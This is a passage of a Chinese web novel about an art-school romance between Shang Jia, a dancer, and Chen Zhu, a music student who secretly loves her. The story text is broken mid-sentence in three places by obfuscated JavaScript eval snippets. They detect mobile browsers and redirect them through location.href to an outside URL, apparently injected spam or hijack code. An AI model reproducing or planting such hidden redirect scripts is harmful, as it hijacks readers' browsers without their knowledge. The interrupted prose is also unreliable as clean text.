梁佳怡兴奋道：“这下咱班一定有奖品！” 她打开校服包裹，里面满满全是名牌。 “我的天哪，你是怎么做到的？牛死了！”尚佳说。 “她把刘主任按在地上撕，能不牛吗？”于海雯笑着从门外走进来，手里还端着一个盒子，里面是各种型号和样式的手机。 “把刘主任按在地上撕！牛逼啊佳怡！”薛梦竖着大拇指，说完才后知后觉口不择言了，猛地捂住自己的嘴看向于海雯。 于海雯抬手弹她一个脑瓜翁，知道她是开心，所以没跟她计较，只是把视线转移到讲台，随手拿起一张名牌在手里摇着玩，“其他人看了梁佳怡那副要揍主任的架势，都不敢靠近她，老老实实站在原地等着被撕。” 刘主任是学校艺术部教导主任，同时—— 也是副校长。 在教室里的人听了这事儿后，起哄的起哄，夸奖的夸奖，纷纷上前拥戴梁佳怡，甚至十分默契地从边上的女生开始，模仿《小时代》里的场景，传递空气皇冠，最后由薛梦为梁佳怡戴上。 戴了“皇冠”的梁佳怡挺直后背昂起下巴，还装模作样地扶了扶。 于海雯看着她们玩闹，宠溺地提醒，“行了，游戏也结束了，回家的赶紧回家，注意安全，不回家的想去食堂吃饭就去食堂，不去食堂的早点回来。”话落，又上演川剧变脸，抬手挨个儿指了一圈儿，“周六周天都给我少吃！马上高二了，控制体重，知道吗？” 大家也不闹了，老老实实齐声回答：“知道！” 于海雯嘱咐尚佳发手机，然后揉了揉梁佳怡的脑袋以示夸奖，转身走了。她一走，屋子里的人蜂拥到尚佳身边，眼巴巴地等着自己的手机。 没办法，阔别五天，实在太想念了。 十几秒后，各种开机铃声在教室响起。 薛梦没有去拿手机，而是关了教室大门，眼睛亮得跟刚从炼丹炉里出来的孙大圣有一拼，迫不及待又神神秘秘地说：“我这里有个惊天大瓜，想不想听？” 听见有瓜可以吃，手里的手机瞬间不香了，一屋子人立马抬头望向薛梦。 “什么瓜？”赵璐问。 “对啊，什么事啊？”王宛也说。 梁佳怡直接用手机拍了她肩膀一下，“别卖关子了，快说！” 薛梦双手抱臂，一副卓伟上身的架势，但开口的语气却是在模仿胡图图。 “据我——所知！音乐才子陈祝的名牌——”说到这里她顿了顿，制造了两秒悬念，才放低声音说，“被09级的孟桐撕了。” “真的假的？你怎么知道的？”梁佳怡表示不信，赵璐更是一脸懵地望向尚佳，尚佳举着比她脸小了没多少的iPhone6Plus，同款懵。 爆料人薛梦随便找了个位置坐下，昂着头道：“刚刚回来的时候听别人说的，还说两人纠缠了好一阵儿才撕下来。” “什么！”梁佳怡震惊，长腿一跨，坐在薛梦旁边的椅子上笑眯眯地问，“这个纠缠，是怎么个纠缠法……” 其他人见有八卦听，回家的也不着急走了，纷纷上前把薛梦围在中间，像极了一条条刚会走路后看见奶瓶的小狗狗。 “对啊，怎么纠缠了！” “陈祝是不是真的被围攻了！” “有没有人趁乱吃他豆腐啊！” “我怎么没有看到他！” 那可是陈祝啊，是学校贴吧还有人人网相关搜索最多的人。虽然蓝海的贴吧没有什么校草投票榜，但所有人都默认，陈祝就是校草。 而09级舞蹈班的孟桐就更不用提了，今年艺考北舞舞表和上戏舞表双第一，都是古典舞方向。关键是学姐长得也漂亮，就是文化课差了点，但艺考生文化课要求低，过分数线没什么问题。 现在这样的两个人有了交集，谁能抑制住八卦的心？ 薛梦“啧”了一声，挤眉弄眼，“那你觉得，还能怎么个纠缠……”她装模作样地往耳后塞碎发，整个人娇柔做作到不行，“撕名牌啊，你刚刚又不是没经历，那两个人的身体，可是会有接触呢……” 她越说声音越小，说到最后直接给自己说红了脸。 “哦——”姑娘们听了浑身像长满了虫子一样，开始不自然地扭动、起哄。 尚佳一个白眼翻上天，无奈感叹，“可算知道明星的谣言是怎么来的了。” 薛梦坐直身子，“你别不信啊小佳佳？我说的都是真的！” “不可能！”尚佳斩钉截铁。 薛梦问：“为什么不可能？” 尚佳没说话，走到自己位置，把手往桌洞里伸，“因为陈祝的名牌——”她用修长的食指和无名指把里面的名牌夹出来，赌王亮牌一样，从空中划出一道黄金弧线后帅气甩出，举在脸侧，“在我这儿。” 这话如同手榴弹，扔出去后屋内先是安静了两秒，紧接着把一屋子漂亮姑娘炸成了窜天猴，一个个七上八下蹦跶着，嘴里还“啊啊”的叫个不停，声浪大到下一秒就能掀翻屋顶。 薛梦几乎是弹起来的，一个箭步冲到尚佳面前，夺过她手里的名牌仔细查看，“我去尚佳，陈祝的名牌为什么在你这啊！” “我撕了所以在我这啊。”尚佳不以为然。 “不对！”薛梦先是摇头，紧接着把自己怼到尚佳脸前，觑眼道，“你不是练剧目不撕名牌吗？” 尚佳脑袋后退，如实说：“是他先撕的我。” 薛梦不可置信地睁大眼睛盯着尚佳，飘着声音重复了一遍，“他先把你撕了，然后你又把他撕了？” “嗯，”尚佳没觉得哪里不妥，从薛梦手里拿回陈祝的名牌，走到讲台递给梁佳怡，“这个也算进去，多一个是一个。” 梁佳怡垂下眼皮两秒又掀起来，嘿嘿地笑，“算了班长，我这些够了，那张你自己留着吧。” 她不要，尚佳也没强求，转身又递给薛梦，“那给你。” 仿佛尚佳递过来的是刚刚没炸的闷雷一样，薛梦见状连连摆手，“不不不，我也不要！我这些也够了！” 尚佳的大脑宕机一秒。 不是，校草的名牌这么不讨喜吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084529|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 刚刚还在激烈讨论，结果连送三次都送不出去？ “行，”她无奈收回手，往自己的位置走，“那赶紧散了吧，回家的快回家，回宿舍的也赶紧收拾收拾回去。” 班长发话，姑娘们三三两两结伴出了教室，走之前跟其他人说着下周见的话。 薛梦看着尚佳把陈祝的名牌塞进桌洞，咬着嘴唇晃着脑袋偷乐。 陈祝那个音乐才子，跟我们尚佳这个舞蹈女神，吼吼吼吼，怎么有点好磕呢。 唉，就是不知道他们两个是怎么纠缠撕名牌的，在线求一个上帝视角啊喂！ - 回宿舍换了身衣服后，两个人准备出去吃晚饭。 薛梦家不在蓝海，之前周六周天的时候，尚佳都是把她带去自己家里，但每次薛梦都会悄悄买东西，因为她总觉得跟尚佳关系再亲，但每周都麻烦人家父母不好。 后来尚佳就跟父母商量，总这样让薛梦买东西不行，不然自己周末就在学校陪她，两个人一个月回来一次，正好也能锻炼独立性。 尚佳父母同意了，只是不回来的周末，他们偶尔还是会去学校看她。 平常五点放学，今天晚了半个小时，加上刚刚在教室耽误的时间，现在已经六点多了。宿舍八点关门，所以两个人不打算走很远，就去学校附近的一条小吃街解决晚饭。 到了高中的年纪，尤其是封闭学校，学生自理能力都很强，鲜少有来接孩子回家的，大多数学生都是自己坐公交。 但老校区每个周的周五，都能看到一辆连号的黑色迈巴赫停在学校门口。 最初的时候大家都会好奇，路过的时候总是不经意地留意。后来时间一长，学生和老师看到那辆车，就知道是陈祝的父母来接他了。 学艺术的家里条件都不算差，除了学费本身就贵以外，任何一个专业也都很烧钱。 不差归不差，但也不是家家都有豪车。 此时陈祝端正坐在后排，漆黑瞳仁专注地盯着车窗外。 终于等到期待中的身影走出校园后，他开口跟驾驶位的父亲说：“爸，同学刚刚给我发信息说不搭车了，我们走吧。” “行！”陈礼民把手里的笔记本电脑递给妻子祝好，拜托她帮忙收起来。 祝好接过来，一边关机一边提醒后排的陈祝，“安全带系好宝贝。” “嗯。”陈祝听话系安全带，此时汽车刚好发动，他又立马重新抬眼看向窗外。 因为在学校附近，所以车速并不快。 随着汽车一点点前进，尚佳出现在了紧贴窗户、努力往前看的陈祝的视线里，并且越来越近。 车身从尚佳身边擦过的同时，陈祝听到了她的笑声。 像春风拂面一样轻柔，又像泉水叮咚一样好听。 她的身影消失前，陈祝脑海里只剩下一个画面。 倒带一样的街景中，汽车黑色的窗框里，前景是大片海棠花留下的粉色和绿色，后景是时间悠久的德式店铺，空中是被风吹散的花瓣。 高斯模糊的景象里，唯独挽着朋友手臂，整个人笑倒在朋友肩膀上的尚佳是清晰的。 天光微暗，路灯还没有亮，所有的所有都是灰色的， 唯有尚佳，莹莹明光。 - 陈祝日记： 「2014年9月15日，今天是我第一次参加蓝海艺术学校的升旗仪式，想先跟校领导还有老师同学说声抱歉，尤其是我的专业课班主任，李诺老师。 很抱歉，为了让尚佳知道我的名字，我故意把谱架改成了晾衣架。 从前觉得只要在一个学校，距离近了，认识她的机会就多了。 可转来一周，我只在荣誉墙上看到过她。 咫尺比天涯还远，是我没有预料到的 虽然没有见过她，但耳边每天都有关于她的声音。 我的同桌叫方旭，入学第一天他就跟我说，学校有个很漂亮的舞蹈精灵，叫尚佳，是很多人的女神，不止男生。 他以为我不知道，特别热情地介绍了一整个大课间。 我怎么可能不知道呢？ 我可是朝着她的方向来的呀。」 5. 暗恋 . 受基因和家庭氛围的影响，陈祝从小就展露出了惊人的音乐天赋。 三岁就能复刻父亲弹奏的任意钢琴音；四岁发现他不仅对钢琴有天赋，对其他乐器也有着同样的高敏感；小学就可以自己创作音乐，并能熟练演奏钢琴、二胡、小提琴等多种乐器；初中后更是形成了自己独特的音乐风格，还自学了架子鼓，多次作词作曲，代表学校参加比赛。 父母也没有浪费他的天赋，一直用心培养。 所有老师家长以及认识陈祝的长辈，都说陈祝就是大家口中“别人家里的孩子”。 对此，陈祝爸妈从来没说过什么。 他们承认陈祝有天赋，但他们更清楚，陈祝为了不辜负自己的天赋，付出了多少努力。 除了音乐，陈祝学习还很好，因此父母也没有想过让他走专业艺术道路，只想着孩子就这一生，童年仅有一次，开心自由最重要。所以陈祝一直在普通学校的艺术班，他自己也从未想过要去专业院校学习。 直到初三上学期的一次演出，他改变了想法。 因为那天，他同台了尚佳。 那次演出，陈祝的节目在尚佳后面一个，他提前去舞台侧幕准备的时候，看到了同样在侧幕等待上场的尚佳。 那并不是陈祝第一次近距离接触学舞蹈的女孩儿，但却是他第一次留意。 舞蹈生的舞台妆都很浓，加上那次尚佳跳的是维族舞蹈，妆容上更加注重五官的立体修饰。而且尚佳还戴了一个面纱，掩盖了大部分长相。 可即便这样，仍旧能看出来她是一个样貌颇好的女生。 两人一起站在那里的时候，陈祝也跟其他人一样，被尚佳吸引。但那时只是单纯察觉到学舞蹈的女生真漂亮，气质真好。 直到他目送尚佳登台，直到灯光亮起、音乐响起，直到尚佳跳起来的那一刻，陈祝才发现自己错了。 他并不是没有看过舞蹈演出，相反，从小到大拥有无数次演出经验的他，看过太多人跳舞了，但从来没有哪一个人，让他开始偏颇地理解古代为什么要执着于收复西域，《还珠格格》中的乾隆为什么会对香妃念念不忘。 舞台上的那个女生太闪亮、太耀眼了。 她在发光。 表演结束，灯光熄灭。 黑暗中，一阵演出前不曾留意的香气从陈祝身边掠过。 是化妆品的脂粉味儿，并不难闻。 等到灯光再次亮起，主持人上台陈祝才回过神，而此时四周早就没了尚佳的身影。 演出结束后，他几乎以百米冲刺的速度跑到后台，从包里拿出那张被他丢进去的节目单，一眼就寻到了想看的信息。 舞蹈：《石榴》 表演者：尚佳 表演院校：蓝海艺术学校 指导老师：塔吉古丽 15岁的陈祝盯着“蓝海艺术学校”几个字，抿紧了唇。 - 全班15个人，一到周末宿舍里就只剩下尚佳和薛梦两个人。 她们吃完饭时还不到七点半，尚佳想买本子，于是两人手牵手去逛了文具店。 尚佳有写日记的习惯，她喜欢买好看的本子，然后把日复一日光阴中，脑海中闪过的思考或生活中特别的事情记录下来。 有时候是一两句话，有时候是一两页纸。 学校周围文具店很多，尚佳和薛梦早就逛了个遍，经过挑选，有两家是她们最喜欢的。 一家很精致，但新品更换率不高。 一家稍精致，但新品更换率超高。 “这个怎么样？”尚佳举着一个自带透明磨砂塑料套皮的本子问薛梦。 薛梦看过来，本子常规大小，紫色调，封面右下角除了两棵薰衣草以外，再没有其他涂鸦。 “好看！”薛梦说完又笑着问，“不过你已经一摞紫色的本子了，咱不考虑换个颜色吗？” “不换，”尚佳把本子抱在怀里，继续看其他的，“我喜欢紫色，我是个专一的人。” 薛梦无语，耸肩嘀咕道：“这跟专一有什么关系。” 买完本子，两人回了宿舍。 薛梦换了睡衣往尚佳床上一躺，大喊累，尚佳揶揄她，“这哪有一节基训课累啊？” “nonono，”薛梦闭着眼摇头，“不一样。” 尚佳笑笑没再说话，拿出新买的本子，开始写日记。 「2015年5月8日，今天值得纪念，又或者说——今天是我人生中最具意义的几个瞬间之一。 因为，我正式被尚佳认识了。」 写到这里，陈祝下意识抿紧了唇，心跳也开始加速，只因为笔下的“尚佳”两个字。 他深呼吸一口气，继续下笔。 「我不知道其他男生是如何喜欢或暗恋女生的，不知道他们是否跟我一样，既大胆又心怯，既惧怕又热烈。 在无人知道的角落，我可以放肆回想跟她的每一次相遇。但真的见到了她，我又只敢默默从她身边走过，做不到像别人那样，正大光明诉说着她的优秀及美好。 我虽然不是多么热烈的性格，但从小到大向来都是自信的。 可遇见尚佳的那一刻才明白—— 暗恋这趟列车的始发站，原来是自卑。 无论多么优秀的人，在面对自己喜欢的人时，总会下意识变胆怯，总是畏首畏尾，小心翼翼。 转来蓝海艺校后，我其实一直在找机会认识她。可不同班级，不同专业，甚至连教室都在不同楼栋的我们，能碰到的机会实在很少。 可以相遇的地方，除了食堂，好像真的没有其他位置了。 在一个校园，但又不像在一个校园。 但今天的我很勇敢。 因为我撕了她的名牌，尽管当时手抖成了筛糠。 其实，今天我耍了点小聪明——」 钢笔略微一抬，陈祝深吸一口气，才又写： 「好吧，其实为了让她认识我、记住我的名字，我耍过很多次小聪明…… 以为之前的那些聪明全都白耍了，所以今天想让她撕下我的名牌。 可是，她说她认识我。 现在回想她说知道我的那一刻，仍旧激动到浑身颤抖。 而且，我又耍小聪明了，我主动请缨帮李老师去给她们班伴奏…」 还没写完，但陈祝停了笔。 他抬头望着窗外院子里的桂花树，双肩一沉，突然就泄了气，兴致全无。 明天就是周一该多好啊…… “好烦啊！”薛梦仰天长啸，“明天怎么又是周一了！” “是啊，我感觉昨天还是周五呢。”住在薛梦对床的王宛一边收拾东西一边附和。 王宛的下铺是秦雅然，她从小跟爷爷奶奶长大，这会儿正坐在床头跟奶奶打电话。 两人不知道说了什么，她抬起头冲着宿舍大声问了句，“同志们，我奶奶问她做的饼干喜欢吗，喜欢她以后多做一些。” “喜欢！！！” 其他人立马停下手里的事大声回应，薛梦甚至走到秦雅然面前，双手撑在她床上冲着手机大声道，“谢谢奶奶，饼干特别好吃，奶香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084530|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足还不是很甜！” “好吃就行，怕你们长胖了又得滚地板，所以没敢放太多糖。”奶奶笑呵呵地说。 “还是奶奶疼我们……”薛梦直接跟秦雅然并排坐在了她床上，非常自家人地接过手机继续唠，一唠就唠到了熄灯。 她性格大大咧咧，甚至达到了闹腾的程度，而且社交圈子很广，同专业的学长学姐学弟学妹，她都认识几个，跨专业的也认识几个。 而且她是个小话痨，一个人可以说很久，宿舍每天晚上最后一个闭嘴的一定是她。 今天熄灯后，她不知道怎么，又嘚嘚起了周五的撕名牌。尚佳困得不行，伸手摸出枕头下的手机看了眼时间。 10:47了，她按死屏幕，重新把手机塞进枕头下面，抬腿蹬了一下薛梦的床板，“快十一点了，睡觉！” 这一下不重，但也把薛梦蹬起来一定高度。她身子歪了一下，随后立马听话道：“收到，班长！” - 第二天早上六点整，尚佳的闹钟响了。 她摸出手机按了闹钟，迷糊开口，“起床了。” 尚佳住的宿舍六个人，隔壁屋是个套间，外面六个人，里面三个人。15个人整整齐齐蜗居在这两个宿舍四年了。 早上只有半个小时的整理时间，没有人赖床，快速换衣服叠被子洗漱。 今天是薛梦和尚佳值日，两人动作更麻利。尚佳率先收拾完，先去洗漱间抢了一个相对干净的拖把拿回屋里，然后再去洗漱。 薛梦收拾好先扫地整理桌面，等到所有人收拾完拎包出去，尚佳准备拖地，她才拿东西去洗漱间。 值日上下铺一组，六个女生同吃同住了四年，大家都很有默契。 拖到门口位置后，尚佳就没再动，把自己的包和薛梦的包拎在手里。 薛梦回来了，擦完脸快速抹好护肤品，接过尚佳手里的两个包在门外等着，等到尚佳去放拖把的时候，她关了宿舍门，接上尚佳一起下楼。 早功六点四十开始，先跑步，跑到七点上楼换衣服进舞蹈教室，然后开启一个小时的基本功训练。 八点结束后，有半个小时的时间吃早饭，吃完回文化课教室，八点半准点上课。 因为学习文化课的时间很少，所以她们的生物和化学只学半学期，物理课安排也不算多，大部分时间都拿来主攻语数外和史地政。 上午时间过得总是很快，对于舞蹈生来说，文化课相当于放松休息，并不痛苦。 十一点五十，放学铃一响，陆续有人走出教学楼，往食堂方向去。静谧的校园也逐渐像烧开了的水，气泡一点点增多、变大，直至沸腾。 薛梦挽着尚佳的胳膊，问她，“你一会儿能多吃点吗？” “怎么了？”尚佳问。 薛梦“啧”了一声，“我最近跟着你的饭量吃，但你吃太少了，我第二节课上一半就开始饿……” 尚佳觉得好笑又无语，她偏头扫了薛梦一眼，“那你多吃点不行吗？” “不行！”薛梦斩钉截铁，“我都发誓了，高考前你吃什么我吃什么！” “为什么？” 薛梦嘿嘿一笑，歪头靠在尚佳肩膀上，“没有为什么，咱俩关系好！” “……” 两人有说有笑地走上食堂台阶，尚佳的红色匡威一步步往上迈，旁边一双干净的白色板鞋一层层往下走。 下到地面后，陈祝突然停住脚，一旁的男生问他：“怎么停了？” “我记错了。”陈祝转头看着男生。 “饭卡就在我兜里。” 6. 伴奏 . 男生是陈祝的同座，叫方旭。 听完陈祝的话他闭眼昂头做了个极深的呼吸，要不然他觉得自己能被气晕过去了。 “陈大才子，不是我说你，”他右手拇指和食指捏了个小缝举在陈祝面前，“你这学霸记性能分日常生活一丢丢吗？从你这学期转来咱学校到现在，饭卡忘教室没十次也八次了吧？关键好几次都跟今天一样，走一半儿发现就在兜里！” 陈祝不好意思地笑了一下，“抱歉抱歉，这顿我请你。” 陈祝立马消气，“这还差不多。” 两人刚回转身，方旭就撞了一下陈祝的胳膊，轻声问：“不过刚刚咱俩往下走的时候，你有没有注意到你旁边走过去的女生是尚佳？那可是尚佳啊！尚佳！” 方旭换了姿势，继续自我陶醉地侃侃而谈，“尚佳真的是，黑长直白富美，一米六七大长腿！真好看啊真好看！” “……” 陈祝轻声扔了句：“你这打油诗的才华能分学习一丢丢吗？” “啧，你懂什么啊！”方旭不以为然，“那可是尚佳，女神来的！” 说到这里，他不忘替陈祝可惜，咂舌道：“就是你来晚，没见过她跳舞，岂止惊艳两个字可以形容！到现在我都记得初一军训时她跳的那支舞，一下轰动了整个训练基地！太美了，穿着迷彩服都特别好看，一舞轰动京城当代版！” 陈祝听完偷偷斜了方旭一眼，心说谁没看过她跳舞？我看得说不定比你还多。 - 于海雯忙着沟通尚佳比赛服装的事，十二点多了才起身去吃饭。 刚走出教学楼，身后就有人喊她，“海雯老师。” 于海雯转头看，看清对方后笑着搭话，“李老师，你今天不是请假了吗，怎么还在学校啊？” 喊她的人是古典舞课堂的钢琴伴奏，李诺。 她稍叹口气，“本来想请一天，但班里临时有事，我请了一下午，马上就走。”说完看向于海雯，“对了，下午的课其他老师时间都不凑巧，所以打算让我最得意的学生去，行吗？” “你最得意的学生……”于海雯偏头看她，扬眉问，“陈祝啊？” 李诺点头，“对！” “可以啊，”于海雯笑了，“正好近距离欣赏一下咱学校音乐才子的演奏。” 李诺听了这话也笑了，语气里藏不住的得意，“哎哟，我们陈祝可不只是才子，长得还很帅呢！” 这话出口，两位女老师一下笑开，于海雯也连连点头表示同意，“是是是。” 说到才子，李诺拿胳膊肘碰碰于海雯的，“你们班尚佳不也是十年难遇的舞蹈天才吗？她可是拿过不少奖。” 提到尚佳，于海雯双手往上衣口袋一插，一脸骄傲，“那是！而且我们尚佳在备战桃李杯，她一定能拿金奖！” 桃李杯是国内最高规格，也是含金量最高的舞蹈比赛，被誉为“中国舞蹈界的奥斯卡”。如果少年时期能在桃李杯获得单人奖项，那相当于一只脚踏进了国内最高舞蹈学府的大门。 尚佳的实力整个学校的老师都有目共睹，所以于海雯这样笃定的态度，李诺并没有觉得有什么不妥。她轻笑一声，也跟着肯定道：“绝对的！” “行了，你快走吧，别耽误家里的事儿！”于海雯掏出手，拍了一下李诺的胳膊。 李诺挥挥手，“好，那我走了。” - 下午1点10分，陈祝推开了艺术楼六楼601的大门。 屋里的女孩儿们正在聊天热身，但陈祝刚开门就被吓了一跳，因为门口的钢琴凳上，薛梦正在耗腿。 陈祝不知道什么是耗腿，他只知道什么是下叉，但眼前这个女生的动作明显不是下叉那么简单。 她的后腿紧贴地面，没什么特别的，重点是她前腿的脚后跟搭在了钢琴凳上，那凳子足有50厘米高，所以她的两条腿像断了一样，以一种极其夸张的角度呈现在陈祝面前。 这些就算了，重重点是薛梦还向后弯腰，双手抱住了后腿的膝盖，整个人的后背和腰几乎贴在了大腿上。 在听见门被人推开后，薛梦十分自然且轻松地歪头看了过来。见来人是陈祝，还咧嘴露出了一个十分标准的“欢迎光临”式的微笑。 就是这个微笑从陈祝的角度看过去吧，实在有点—— 诡异…… 他愣了一秒，强行弯起唇角，礼貌挥手打招呼。 见陈祝来，薛梦连忙直起身，但腿还在凳子上，热情地问：“你找谁啊？” 但她其实想问：你找尚佳吗？她在办公室。 陈祝温柔开口，声音很轻，“请问你们这节课的钢琴伴奏，是李诺老师吗？” 淦！ 这声音近距离听简直绝了！ 薛梦内心疯狂尖叫，表面强装镇定，点头道：“是。” 陈祝：“她请假了，这节课我来帮忙伴奏。” 说话的时候，陈祝始终站在教室门口，没有进去。 听到他要伴奏，薛梦瞬间来了精神，连忙从钢琴凳上下来，从一旁拿过自己的纸巾抽了两张把凳子擦干净。 “欢迎欢迎！”她咧嘴笑。 其他人也三三两两聚在一起，开始了独属于十六七岁的女生八卦聊天。 “没听错吧，陈祝来给我们伴奏？！” “好像没见他弹过钢琴。” “音乐专业的，钢琴应该是必须会的乐器吧。” 教室里的声音像雏鸟一样叽叽喳喳，陈祝没在意，冲薛梦点头道谢后，从外面穿了鞋套才走到钢琴旁坐下。 他打开琴盖，放好李诺给他的琴谱，把所有需要用到的伴奏大概看了一遍。 他做这些的时候薛梦就在旁边，扶着钢琴有一搭没一搭地搬腿玩儿。 她有点想问陈祝，尚佳的名牌他准备拿去换奖品还是怎么处理，但又觉得这样问太突然了，所以一直没说话。 陈祝并不知道她心里的想法，但见她一直在，而且马上就快一点半了，还没有看到尚佳的身影，就主动问薛梦，“你们班只有这些人吗？” “还有班长，”薛梦抬下巴指了指教室角落的一扇门，“她在小办公室。” 原来在办公室，白早来了，陈祝心想。 薛梦看着陈祝，笑道：“我们班人少吧？” “嗯。”陈祝点头。 除了杂技专业，11级舞蹈班确实是整个学校人最少的。 舞蹈专业原本就是蓝海艺术学校最重视，也是最精心培养的专业。而11级的舞蹈生又是学校在改革后招收的第一批学生，要求格外严，所以人数也就少。 很快要上课了，薛梦离开钢琴去了自己的把杆。 她刚过去，四周的人纷纷涌上前追问陈祝的事情，那架势堪比记者采访奥运冠军。 一点半的时候，尚佳和于海雯一起从办公室出来了。陈祝整个人埋在钢琴后面，眼神却一直嵌在尚佳身上，跟随她走出办公室，走出教室，走向更衣室。 但，尚佳并没有看到他。 迫使陈祝视线转移的，是眼前的一张纸。 他顺着纸向上望，于海雯正歪头，眉眼含笑地看着他，“你好啊，陈大才子。” 陈祝连忙起身，同样回以轻浅的微笑，略微欠身说：“老师好，叫我陈祝就行。” 于海雯挑眉，“声音这么好听呢。”她又笑了笑，把手里的纸往陈祝面前递了递，“好，陈祝，一会儿要用这个曲子，你先看看。” 其实古典舞组合的钢琴伴奏有专属的琴谱，但于海雯洋气又漂亮，喜欢创新和挑战，更喜欢她的孩子们与其他班不同，学期末汇报的时候可以让领导眼前一亮，所以一些美感含量比较高的组合，她从来都是自己找音乐。 陈祝双手接过，点头乖巧应下，“好的老师。” 于海雯第一次接触陈祝，也是第一次接触男学生，而且还是如此乖巧帅气又优秀的男学生，没忍住伸手揉了一把他的头，“这么乖，怪不得学校里的领导老师都那么喜欢你。” 陈祝浅笑着垂了头，没说话。 于海雯不再逗小孩儿，转头往教室里走，“来，学个新的控制组合。” 她往里走的时候，舞蹈教室的大门被人打开，陈祝几乎是条件反射性地扭头看过去，果然是换好衣服的尚佳回来了。 陈祝小心翼翼又专心致志地望着。 看她利落进屋背手关门，看她快步跑向教室中央。 原本条件样貌都出众的女生，此刻因为她的到来，瞬间没了光辉。 哪怕在人才济济的班级中，尚佳都是最耀眼的存在。 目送她回到教室中央后，陈祝抿唇，坐下低头开始看谱子，有些失落。 他这么不显眼吗？ - 失落仅一瞬，陈祝便立马调整好自己。 其实他盯着谱子就能弹，不用提前看。 但尚佳在，陈祝觉得不论今天她能不能发现伴奏的是自己，他都想让这堂课完美一点。 他要努力让尚佳看到自己，而不是热烈追求感动到愿意接受自己。 尽管面对尚佳的时候，大多数时间是自卑的，但陈祝很清楚， 他是优秀的，而且非常优秀。 所有的自卑都是暗恋的正常心理反应，因为暗恋自带美颜功能。 因为太过于喜欢，所以会下意识拿自己的内在短板去跟对方的外在长处做比较。 会将对方的优点无限放大，对自己的认知变成“高清无修”的原图，毛孔瑕疵的清晰度远比实际的要夸张许多。 因为有了这样的对比，从而才会滋生出“自卑”。 然而这份“自卑感”是情感投入深度的见证，证明自己并非肤浅地被尚佳表象的优秀吸引，而是渴望一份触及灵魂的连接，然后发生共鸣。 他知道爱始于自卑的瞬间，更清楚爱能在勇气中生长，最终可以相守。 熟悉完谱子，陈祝便抬头继续悄悄看尚佳。 这是他第一次见尚佳上课，发现她学动作特别快，于海雯示范一次她就能记住。而且她应该没有像其他人那样热身，可是当碰到难度动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谱子刚刚合音乐的时候弹了很多遍，陈祝倒背如流，所以这一遍，他总找机会抬眼望向站在c位的尚佳。 陈祝不懂专业的舞蹈，也看不出其中专业的东西。 他只知道，如果不看尚佳，其他女生已经是令人惊艳的存在了。可因为有了她，就显得其他人都不过尔尔。 同样的动作，尚佳的舒展度和延伸感更加强，而且她基本功非常扎实，一个控旁腿的动作，大多数人的腿都在胳膊肘的位置，有的人甚至更低 唯有尚佳纤细的腿牢牢竖在肩膀旁，笔直修长，脚背膝盖漂亮，十分有质感。 重点是尚佳脚下特别稳。 不论多么难、多么复杂的动作，她脚下像扎根了一样，没有一点多余的碎步。 陈祝不禁想，她要付出多少努力，才能换来这样令人赞叹咂舌、让方旭念念不忘四年的舞蹈功底。 曲子高潮来临前，尚佳因为动作游移来到了教室左侧，距离陈祝不过三四个身位。 “雨纷纷”这句响起的同时，镜子里的尚佳双手游走的同时，左腿脚尖离地，控90°前腿。 下一句曲子响起，尚佳划手，90°前腿变旁腿，最后成探海姿势定格。 她做这个动作的时候，陈祝直愣愣地望着她。 看她屏气凝神，看她白皙面庞满是汗水，汇聚在精致玲珑的下巴后滴下，在地面凝成水花。 赵璐就站在尚佳旁边的位置，她已经无数次在内心提醒自己，不要乱想，专心上课，但效果微乎其微，总是不自觉地去看尚佳和陈祝，看在镜子里同框的两个人。 琴声嘹亮，舞姿柔韧。 面对镜子的尚佳翩若惊鸿，背对镜子的陈祝专注优雅，画面真的分外和谐好看。 几遍下来，大家也熟悉了动作，于海雯便嘱咐尚佳说：“尚佳，课后带大家复习。” 尚佳点头应下，“好。” “来，”于海雯说，“来一遍身韵组合。” 姑娘们听了纷纷往教室两侧走做准备，于海雯则踱步到钢琴边，笑着问陈祝，“知道是哪首曲子吗？” 陈祝点头，轻声回答：“知道。” 等到大家准备好，于海雯抬眼看着教室，再次说：“钢琴老师，请。” 把下身韵组合有舞台设计，15个姑娘站三排，第三排先从右侧上场，几个节拍后第二排从左侧上场，最后第一排再从两侧上场。 尚佳在第一排的中间位置，当潺潺钢琴声流露出来的时候，她还在教室一侧做准备，但心里却猛地“叮”了一声。 怎么说呢？ 这首曲子她听钢琴老师弹过无数次，自己也随音乐跳过无数次。但不知道为什么，今天这曲子弹的，莫名就觉得不一样。 虽然还是那首伴奏，还是同样的旋律，而且也并不是更好听或者更高级，尚佳甚至说不出来哪里不同，但——就是不一样。 不过她没深想，因为很快她就要上场了。 随着15个姑娘全部上场，于海雯也一直在强调“队形”“手”“脚尖膝盖”等，重点节拍或动作的时候，还会时不时地“哒”一声。 组合快结束时，尚佳从钢琴这侧下场。 转身往下走的时候，她终于明白了今天的曲子为什么不一样。 因为她看到了钢琴后的陈祝， 四目相视。 7. 聚焦 . 当看到今天坐在钢琴后为她们伴奏的是陈祝时，尚佳双眉一抬，愣了一瞬。 她很好奇陈祝怎么会在这里伴奏，但毕竟是上课，所以没有停留，礼貌地弯唇微点头，算是打招呼。 